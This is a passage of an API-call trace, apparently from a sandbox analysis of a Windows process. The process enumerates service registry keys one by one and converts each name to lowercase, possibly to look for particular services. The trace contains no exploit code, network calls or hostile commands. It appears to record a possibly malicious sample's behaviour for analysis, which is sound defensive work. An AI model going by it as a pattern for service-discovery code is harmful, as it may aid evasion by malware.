Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.218] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.218] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0214.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0214.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0214.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0214.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0214.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0214.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0214.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0214.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0214.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0214.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0214.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | 